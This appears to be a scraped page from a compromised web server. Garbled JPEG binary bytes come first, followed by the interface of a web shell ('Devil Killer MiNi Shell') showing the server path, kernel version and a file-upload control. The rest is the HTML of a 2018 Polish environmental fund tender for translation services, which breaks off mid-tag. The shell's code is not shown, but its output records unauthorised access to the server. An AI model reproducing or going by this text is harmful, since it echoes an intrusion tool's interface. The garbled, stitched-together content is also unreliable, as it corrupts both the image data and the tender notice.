JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20180307/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20180307/527607-N-2018.html

 <script type="text/javascript">//<![CDATA[//]]></script> <div> <style type="text/css"> .divRow_xforms { float: left; width: 100%; font-weight: normal; line-height: 30px; } .headerLarge_xforms { font-weight: bold; padding-top: 20px; padding-bottom: 20px; font-size: larger} .headerMedium_xforms { font-weight: bold; padding-top: 20px; padding-bottom: 20px; font-size: medium} .headerSmall_xforms { font-weight: bold; font-size: x-small;} .table_xforms { border-collapse: collapse; width: 900px; font-weight: normal} .table_xforms td { border: 2px solid black; border-collapse: collapse; padding: 5px;} .table_xforms th { border: 2px solid black; border-collapse: collapse; padding: 5px; font-weight: bold} @media print { .no-print, .no-print * { display: none !important; } } </style> <br /> <br /> <span id="ctl00_ContentPlaceHolder1_lblNumerOgloszenia">Ogłoszenie nr 527607-N-2018 z dnia 2018-03-07 r. </span> <br /> <br /> <div class="divRow_xforms"> <div class="headerMedium_xforms" style="text-align: center"> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_miejscowosc_h">Narodowy Fundusz Ochrony Środowiska i Gospodarki Wodnej</span>: <span id="ctl00_ContentPlaceHolder1_nazwa_nadana_zamowieniu_h">Usługi tłumaczenia pisemnego i ustnego z języka polskiego na język angielski, niemiecki, francuski, rosyjski i ukraiński oraz z języka angielskiego, niemieckiego, francuskiego, rosyjskiego i ukraińskiego na język polski</span><br/> OGŁOSZENIE O ZAMÓWIENIU - <span id="ctl00_ContentPlaceHolder1_rodzaj_zamowienia_h">Usługi</span> </div> <div> <b>Zamieszczanie ogłoszenia:</b> <span id="ctl00_ContentPlaceHolder1_zamieszczanie_obowiazkowe">Zamieszczanie obowiązkowe</span> </div> <div> <b>Ogłoszenie dotyczy:</b> <span id="ctl00_ContentPlaceHolder1_ogloszenie_dotyczy">Zamówienia publicznego</span> </div> <div> <b>Zamówienie dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_finansowane_z_unii">Tak</span> </div> <br/> <b>Nazwa projektu lub programu</b> <br/> <span id="ctl00_ContentPlaceHolder1_nazwa_projektu_programu"> Projekt Budowania Potencjału LIFE14 CAP/PL/000011 oraz Mechanizm Finansowy Europejskiego Obszaru Gospodarczego i Norweskiego Mechanizmu Finansowego</span> </div> <div> <b>O zamówienie mogą ubiegać się wyłącznie zakłady pracy chronionej oraz wykonawcy, których działalność, lub działalność ich wyodrębnionych organizacyjnie jednostek, które będą realizowały zamówienie, obejmuje społeczną i zawodową integrację osób będących członkami grup społecznie marginalizowanych </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_ubiegac_zaklady_pracy">Nie</span> </div> <br/> Należy podać minimalny procentowy wskaźnik zatrudnienia osób należących do jednej lub więcej kategorii, o których mowa w art. 22 ust. 2 ustawy Pzp, nie mniejszy niż 30%, osób zatrudnionych przez zakłady pracy chronionej lub wykonawców albo ich jednostki (w %) <br/> <span id="ctl00_ContentPlaceHolder1_minimalny_procent_zatrudnienia"></span> </div> <div class="headerLarge_xforms" style="text-align: left"> <u>SEKCJA I: ZAMAWIAJĄCY</u> </div> <div style="padding-left: 20px"> <b>Postępowanie przeprowadza centralny zamawiający </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_centralny_zamawiajacy">Nie</span> </div> <b>Postępowanie przeprowadza podmiot, któremu zamawiający powierzył/powierzyli przeprowadzenie postępowania </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_podmiot_zamawiajacy_powierzyl">Nie</span> </div> <b>Informacje na temat podmiotu któremu zamawiający powierzył/powierzyli prowadzenie postępowania:</b> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_powierzyl"></span> <br/> <b>Postępowanie jest przeprowadzane wspólnie przez zamawiających</b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_wspolnie">Nie</span> </div> <br/> Jeżeli tak, należy wymienić zamawiających, którzy wspólnie przeprowadzają postępowanie oraz podać adresy ich siedzib, krajowe numery identyfikacyjne oraz osoby do kontaktów wraz z danymi do kontaktów: <br/> <br/> <b>Postępowanie jest przeprowadzane wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_zamawiajacy_z_eu">Nie</span> </div> <b>W przypadku przeprowadzania postępowania wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej - mające zastosowanie krajowe prawo zamówień publicznych:</b> <span id="ctl00_ContentPlaceHolder1_postepowanie_wspolne_tresc"></span> <br/> <b>Informacje dodatkowe:</b> <span id="ctl00_ContentPlaceHolder1_informacje_dodatkowe_zamawiajacy"></span> <br/> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b>I. 1) NAZWA I ADRES: </b> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_nazwa">Narodowy Fundusz Ochrony Środowiska i Gospodarki Wodnej</span>, krajowy numer identyfikacyjny <span id="ctl00_ContentPlaceHolder1_regon">142137128</span>, ul. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_ulica">Konstruktorska </span>&#160; <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_numer_domu">3A</span> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_numer_mieszkania"></span> , <span id="ctl00_ContentPlaceHolder1_zamawiajacy_kod_pocztowy">02-673</span>&#160; <span id="ctl00_ContentPlaceHolder1_zamawiajacy_miejscowosc">Warszawa</span>, woj. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_wojewodztwo">mazowieckie</span>, państwo <span id="ctl00_ContentPlaceHolder1_zamawiajacy_panstwo">Polska</span>, tel. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_telefon">224590100, 224590292</span>, e-mail <span id="ctl00_ContentPlaceHolder1_zamawiajacy_email">Anna.Oledzka@nfosigw.gov.pl, Dominika.Chwalek@nfosigw.gov.pl</span>, faks <span id="ctl00_ContentPlaceHolder1_zamawiajacy_fax">224590201</span>. <br/> Adres strony internetowej (URL): <span id="ctl00_ContentPlaceHolder1_adres_strony_url">http://nfosigw.gov.pl </span> <br/> Adres profilu nabywcy: <span id="ctl00_ContentPlaceHolder1_adres_strony_internetowej"></span> <br/> Adres strony internetowej pod którym można uzyskać dostęp do narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne <span id="ctl00_ContentPlaceHolder1_adres_strony_internetowej_narzedzia"></span> </div> <div style="text-align: left"> <b>I. 2) RODZAJ ZAMAWIAJĄCEGO: </b> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamawiajacego">Inny (proszę określić):</span> <br /> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamawiajacego_inny">Państwowa osoba prawna </span> </div> <div style="text-align: left"> <b> I.3) WSPÓLNE UDZIELANIE ZAMÓWIENIA <i>(jeżeli dotyczy)</i>: </b> <div style="padding-left: 20px"> Podział obowiązków między zamawiającymi w przypadku wspólnego przeprowadzania postępowania, w tym w przypadku wspólnego przeprowadzania postępowania z zamawiającymi z innych państw członkowskich Unii Europejskiej (który z zamawiających jest odpowiedzialny za przeprowadzenie postępowania, czy i w jakim zakresie za przeprowadzenie postępowania odpowiadają pozostali zamawiający, czy zamówienie będzie udzielane przez każdego z zamawiających indywidualnie, czy zamówienie zostanie udzielone w imieniu i na rzecz pozostałych zamawiających): <br/> <span id="ctl00_ContentPlaceHolder1_wspolne_udzielanie_zamowienia"></span> </div> </div> <div style="text-align: left"> <b> I.4) KOMUNIKACJA: </b> <br/> <b>Nieograniczony, pełny i bezpośredni dostęp do dokumentów z postępowania można uzyskać pod adresem (URL)</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_dostep_dokumentow_zamowienia">Tak</span> <br/> <span id="ctl00_ContentPlaceHolder1_dostep_dokumentow_zamowienia">http://bip.nfosigw.gov.pl/zamowienia-publiczne</span> </div> <br/> <b>Adres strony internetowej, na której zamieszczona będzie specyfikacja istotnych warunków zamówienia </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_zamieszczona_bedzie_specyfikacja">Tak</span> <br/> <span id="ctl00_ContentPlaceHolder1_zamieszczona_bedzie_specyfikacja">http://bip.nfosigw.gov.pl/zamowienia-publiczne</span> </div> <br/> <b>Dostęp do dokumentów z postępowania jest ograniczony - więcej informacji można uzyskać pod adresem </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_dostep_do_dokumentow_ograniczony">Nie</span> <br/> <span id="ctl00_ContentPlaceHolder1_dostep_do_dokumentow_ograniczony"></span> </div> <br/> <b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu należy przesyłać:</b> <br/> <b>Elektronicznie</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_oferty_wnioski_dostepne">Nie</span> <br/> adres <br/> <span id="ctl00_ContentPlaceHolder1_oferty_wnioski_dostepne"></span> </div> <br/> <div style="padding-left: 20px"> <b>Dopuszczone jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszczone_wymagane_przeslanie_ofert">Nie</span> <br/> Inny sposób: <br/> <span id="ctl00_ContentPlaceHolder1_dopuszczone_wymagane_przeslanie_ofert_inny"></span> <br/> <b>Wymagane jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_wymagane_przeslanie_ofert">Tak</span> <br /> Inny sposób: <br/> <span id="ctl00_ContentPlaceHolder1_wymagane_przeslanie_ofert_inny">Ofertę wraz z pozostałymi wymaganymi dokumentami należy złożyć w siedzibie NFOŚiGW - przesyłając na adres wskazany poniżej lub osobiście w Kancelarii NFOŚiGW</span> <br/> Adres: <br/> <span id="ctl00_ContentPlaceHolder1_dopuszczone_wymagane_przeslanie_ofert_adres">Narodowy Fundusz Ochrony Środowiska i Gospodarki Wodnej, ul. Konstruktorska 3a, 02-673 Warszawa</span> </div> <br/> <b>Komunikacja elektroniczna wymaga korzystania z narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_komunikacja_elektroniczna_wymaga">Nie</span> <br/> Nieograniczony, pełny, bezpośredni i bezpłatny dostęp do tych narzędzi można uzyskać pod adresem: (URL) <br/> <span id="ctl00_ContentPlaceHolder1_komunikacja_elektroniczna_wymaga"></span> </div> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA II: PRZEDMIOT ZAMÓWIENIA </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <br/> <b>II.1) Nazwa nadana zamówieniu przez zamawiającego: </b> <span id="ctl00_ContentPlaceHolder1_nazwa_nadana_zamowieniu">Usługi tłumaczenia pisemnego i ustnego z języka polskiego na język angielski, niemiecki, francuski, rosyjski i ukraiński oraz z języka angielskiego, niemieckiego, francuskiego, rosyjskiego i ukraińskiego na język polski</span> <br/> <b>Numer referencyjny: </b> <span id="ctl00_ContentPlaceHolder1_numer_referencyjny">DDZ/06/2018</span> <br/> <b>Przed wszczęciem postępowania o udzielenie zamówienia przeprowadzono dialog techniczny </b> <br/> <div style="padding-left: 20px; text-align: justify"> <span id="ctl00_ContentPlaceHolder1_czy_dialog_techniczny">Nie</span> </div> <br/> <b>II.2) Rodzaj zamówienia: </b> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamowienia">Usługi</span> <br/> <b>II.3) Informacja o możliwości składania ofert częściowych</b> <br/> Zamówienie podzielone jest na części: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_podzielone_na_czesci">Tak</span> <br/> <b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu można składać w odniesieniu do:</b> <br/> <span id="ctl00_ContentPlaceHolder1_oferty_lub_wnioski">wszystkich części</span> <span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_czesci"></span> <br/> </div> <b>Zamawiający zastrzega sobie prawo do udzielenia łącznie następujących części lub grup części:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zastrzega_prawo_grup_czesci"></span> <br/> <b>Maksymalna liczba części zamówienia, na które może zostać udzielone zamówienie jednemu wykonawcy:</b> <br/> <span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_czesci_jednemu_wykonawcy"></span> <br/> <br/> <br/> <b> II.4) Krótki opis przedmiotu zamówienia </b> <i>(wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań )</i><b> a w przypadku partnerstwa innowacyjnego - określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane: </b> <span id="ctl00_ContentPlaceHolder1_okreslenie_przedmiotu">Przedmiotem zamówienia są usługi tłumaczenia pisemnego i ustnego z języka polskiego na język angielski, niemiecki, francuski, rosyjski i ukraiński oraz z języka angielskiego, niemieckiego, francuskiego, rosyjskiego i ukraińskiego na język polski.Zamówienie zostało podzielone na dwie Części.Część 1 - Usługi tłumaczenia pisemnego i ustnego z języka polskiego na język angielski, niemiecki i francuski oraz z języka angielskiego, niemieckiego i francuskiego na język polski.Szczegółowy opis przedmiotu zamówienia zawarty został w Części III-1 SIWZ.Część 2 -Usługi tłumaczenia pisemnego i ustnego z języka polskiego na język rosyjski i ukraiński oraz z języka rosyjskiego i ukraińskiego na język polski.Szczegółowy opis przedmiotu zamówienia zawarty został w Części III-2 SIWZ.</span> <br/> <br/> <b>II.5) Główny kod CPV: </b> <span id="ctl00_ContentPlaceHolder1_cpv_glowny_przedmiot">79530000-8</span> <br/> <b> Dodatkowe kody CPV:</b> <br/> <TABLE style='border: 1px solid black;border-collapse: collapse;'><TR><TD style='border: 1px solid black;border-collapse: collapse;'>Kod CPV</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>79540000-1</TD></TR></TABLE> <br /> <br /> <b> II.6) Całkowita wartość zamówienia </b><i>(jeżeli zamawiający podaje informacje o wartości zamówienia)</i>: <br/> Wartość bez VAT: <span id="ctl00_ContentPlaceHolder1_szacunkowa_wartosc_zamowienia_calosc">152601,62</span> <br/> Waluta: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_waluta_calosc">PLN</span> <br/> <i>(w przypadku umów ramowych lub dynamicznego systemu zakupów - szacunkowa całkowita maksymalna wartość w całym okresie obowiązywania umowy ramowej lub dynamicznego systemu zakupów)</i> </div> <br/> <b> II.7) Czy przewiduje się udzielenie zamówień, o których mowa w art. 67 ust. 1 pkt 6 i 7 lub w art. 134 ust. 6 pkt 3 ustawy Pzp: </b> <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zamowien_67">Nie</span> <br/> Określenie przedmiotu, wielkości lub zakresu oraz warunków na jakich zostaną udzielone zamówienia, o których mowa w art. 67 ust. 1 pkt 6 lub w art. 134 ust. 6 pkt 3 ustawy Pzp: <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zamowien_67_tekst"></span> <br/> <b>II.8) Okres, w którym realizowane będzie zamówienie lub okres, na który została zawarta umowa ramowa lub okres, na który został ustanowiony dynamiczny system zakupów:</b> <br /> miesiącach:&#160; <span id="ctl00_ContentPlaceHolder1_okres_w_miesiacach">24</span> &#160;<i> lub </i> <b> dniach:</b> <span id="ctl00_ContentPlaceHolder1_okres_w_dniach"></span> <br /> <i>lub</i> <br /> <b> data rozpoczęcia: </b> <span id="ctl00_ContentPlaceHolder1_data_rozpoczecia"></span> &#160;<i> lub </i><b> zakończenia: </b> <span id="ctl00_ContentPlaceHolder1_data_zakonczenia"></span> <br /> <br/> <b>II.9) Informacje dodatkowe: </b> <span id="ctl00_ContentPlaceHolder1_informacje_na_temat_katalogow">Zamawiający wymaga, aby usługi były świadczone przez okres 24 miesięcy od dnia podpisania umowy, z zastrzeżeniem, że okres świadczenia może zostać skrócony w przypadku wyczerpania wartości umowy. </span> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b> III.1) WARUNKI UDZIAŁU W POSTĘPOWANIU </b> <br/> <div style="padding-left: 20px"> <b>III.1.1) Kompetencje lub uprawnienia do prowadzenia określonej działalności zawodowej, o ile wynika to z odrębnych przepisów</b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_okreslenie_warunkow">Zamawiający nie precyzuje w tym zakresie żadnych wymagań.</span> <br/> Informacje dodatkowe <span id="ctl00_ContentPlaceHolder1_informacje_dodatkowe_okreslenie_warunkow"></span> <br/> <b>III.1.2) Sytuacja finansowa lub ekonomiczna </b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_sytuacja_finansowa_okreslenie_warunkow">Zamawiający nie precyzuje w tym zakresie żadnych wymagań.</span> <br/> Informacje dodatkowe <span id="ctl00_ContentPlaceHolder1_sytuacja_finansowa_informacje_dodatkowe"></span> <br/> <b>III.1.3) Zdolność techniczna lub zawodowa </b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_zdolnosc_techniczna_okreslenie_warunkow">Dotyczy Części 1 zamówienia: Wykonawca w celu potwierdzenia, że spełnia warunek dotyczący dysponowania odpowiednim potencjałem technicznym i zawodowym zobowiązany jest wykazać, że:a) w okresie ostatnich trzech lat (przed upływem terminu składania ofert), a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wykonał co najmniej po dwie usługi (usługa rozumiana jako dokument tłumaczony) tłumaczenia pisemnego z j. polskiego na j. angielski, z j. polskiego na j. niemiecki i z j. polskiego na j. francuski oraz co najmniej po jednej usłudze tłumaczenia pisemnego z języka angielskiego na j. polski, z j. niemieckiego na j. polski i z j. francuskiego na j. polski przy czym:- objętość każdego z tych tłumaczeń (dokumentów) wynosiła co najmniej 35 stron obliczeniowych,- co najmniej 2 z powyższych usług (dokumentów) tłumaczeń dotyczyły tematyki z zakresu ochrony środowiska.b) do realizacji zamówienia będzie dysponował co najmniej 10-osobowym zespołem, tj.: grupą 7 tłumaczy, w tym - co najmniej 3 tłumaczy języka angielskiego, w tym 1 tłumacz przysięgły, 2 tłumaczy języka niemieckiego, w tym 1 tłumacz przysięgły, 2 tłumaczy języka francuskiego, w tym 1 tłumacz przysięgły, oraz co najmniej 3 Native speaker (do weryfikacji tłumaczeń), po jednym z j. angielskiego, niemieckiego oraz francuskiego.Każda z osób musi posiadać doświadczenie zdobyte w okresie ostatnich 3 lat przed upływem terminu składania ofert, w tłumaczeniu pisemnym (w przypadku Native speakerów doświadczenie w tłumaczeniu pisemnym lub weryfikacji) co najmniej 10 dokumentów, po minimum 10 stron obliczeniowych każdy, z języka polskiego na język obcy, do którego dana osoba została wskazana w ofercie Wykonawcy, przy czym co najmniej 2 dokumenty muszą być z zakresu ochrony środowiska. Ponadto każdy tłumacz (z wyłączeniem Native speakerów) musi legitymować się wykształceniem wyższym. Dotyczy Części 2 zamówienia: Wykonawca w celu potwierdzenia, że spełnia warunek dotyczący dysponowania odpowiednim potencjałem technicznym i zawodowym zobowiązany jest wykazać, że:a) w okresie ostatnich trzech lat (przed upływem terminu składania ofert), a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wykonał co najmniej po dwie usługi (usługa rozumiana jako dokument tłumaczony) tłumaczenia pisemnego z j. polskiego na j. rosyjski i z j. polskiego na j. ukraiński oraz co najmniej po jednej usłudze tłumaczenia pisemnego z języka rosyjskiego na j. polski i z j. ukraińskiego na j. polski przy czym:- objętość każdego z tych tłumaczeń (dokumentów) wynosiła co najmniej 35 stron obliczeniowych,- co najmniej 1 z powyższych usług (dokumentów) tłumaczeń dotyczyła tematyki z zakresu ochrony środowiska.b) do realizacji zamówienia będzie dysponował co najmniej 6-osobowym zespołem, tj.: grupą 4 tłumaczy, w tym - co najmniej 2 tłumaczy języka rosyjskiego, w tym 1 tłumacz przysięgły, 2 tłumaczy języka ukraińskiego, w tym 1 tłumacz przysięgły, oraz co najmniej 2 Native speaker (do weryfikacji tłumaczeń), po jednym z j. rosyjskiego oraz ukraińskiego.Każda z osób musi posiadać doświadczenie zdobyte w okresie ostatnich 3 lat przed upływem terminu składania ofert, w tłumaczeniu pisemnym (w przypadku Native speakerów doświadczenie w tłumaczeniu pisemnym lub weryfikacji) co najmniej 5 dokumentów, po minimum 10 stron obliczeniowych każdy, z języka polskiego na język obcy, do którego dana osoba została wskazana w ofercie Wykonawcy, przy czym co najmniej 1 dokument musi być z zakresu ochrony środowiska. Ponadto każdy tłumacz (z wyłączeniem Native speakerów) musi legitymować się wykształceniem wyższym. </span> <br/> Zamawiający wymaga od wykonawców wskazania w ofercie lub we wniosku o dopuszczenie do udziału w postępowaniu imion i nazwisk osób wykonujących czynności przy realizacji zamówienia wraz z informacją o kwalifikacjach zawodowych lub doświadczeniu tych osób: <span id="ctl00_ContentPlaceHolder1_czy_zdolnosc_techniczna_wymaga_wykonawcow">Tak</span> <br/> Informacje dodatkowe: <span id="ctl00_ContentPlaceHolder1_zdolnosc_techniczna_informacje_dodatkowe">W przypadku Wykonawców wspólnie ubiegających się o udzielenie zamówienia, warunki określone w punkcie III.1.3. powyżej, mogą oni spełniać łącznie.</span> </div> <b> III.2) PODSTAWY WYKLUCZENIA </b> <br/> <div style="padding-left: 20px"> <b>III.2.1) Podstawy wykluczenia określone w art. 24 ust. 1 ustawy Pzp</b> <br/> <b>III.2.2) Zamawiający przewiduje wykluczenie wykonawcy na podstawie art. 24 ust. 5 ustawy Pzp</b> <span id="ctl00_ContentPlaceHolder1_czy_zamawiajacy_przewiduje_wykluczenie">Tak</span> Zamawiający przewiduje następujące fakultatywne podstawy wykluczenia: <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_1">Tak (podstawa wykluczenia określona w art. 24 ust. 5 pkt 1 ustawy Pzp)</span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_2"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_3"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_4"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_5"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_6"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_7"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_8">Tak (podstawa wykluczenia określona w art. 24 ust. 5 pkt 8 ustawy Pzp)</span> <br/> </div> <b> III.3) WYKAZ OŚWIADCZEŃ SKŁADANYCH PRZEZ WYKONAWCĘ W CELU WSTĘPNEGO POTWIERDZENIA, ŻE NIE PODLEGA ON WYKLUCZENIU ORAZ SPEŁNIA WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ SPEŁNIA KRYTERIA SELEKCJI </b> <br/> <div style="padding-left: 20px"> <b> Oświadczenie o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału w postępowaniu </b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_oswiadczenie_niepodleganiu_wykluczenia">Tak</span> <br/> <b> Oświadczenie o spełnianiu kryteriów selekcji </b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_oswiadczenie_spelnienie_kryteriow">Nie</span> </div> <b> III.4) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW , SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 3 USTAWY PZP: </b> <br/> <div style="padding-left: 20px"> <span 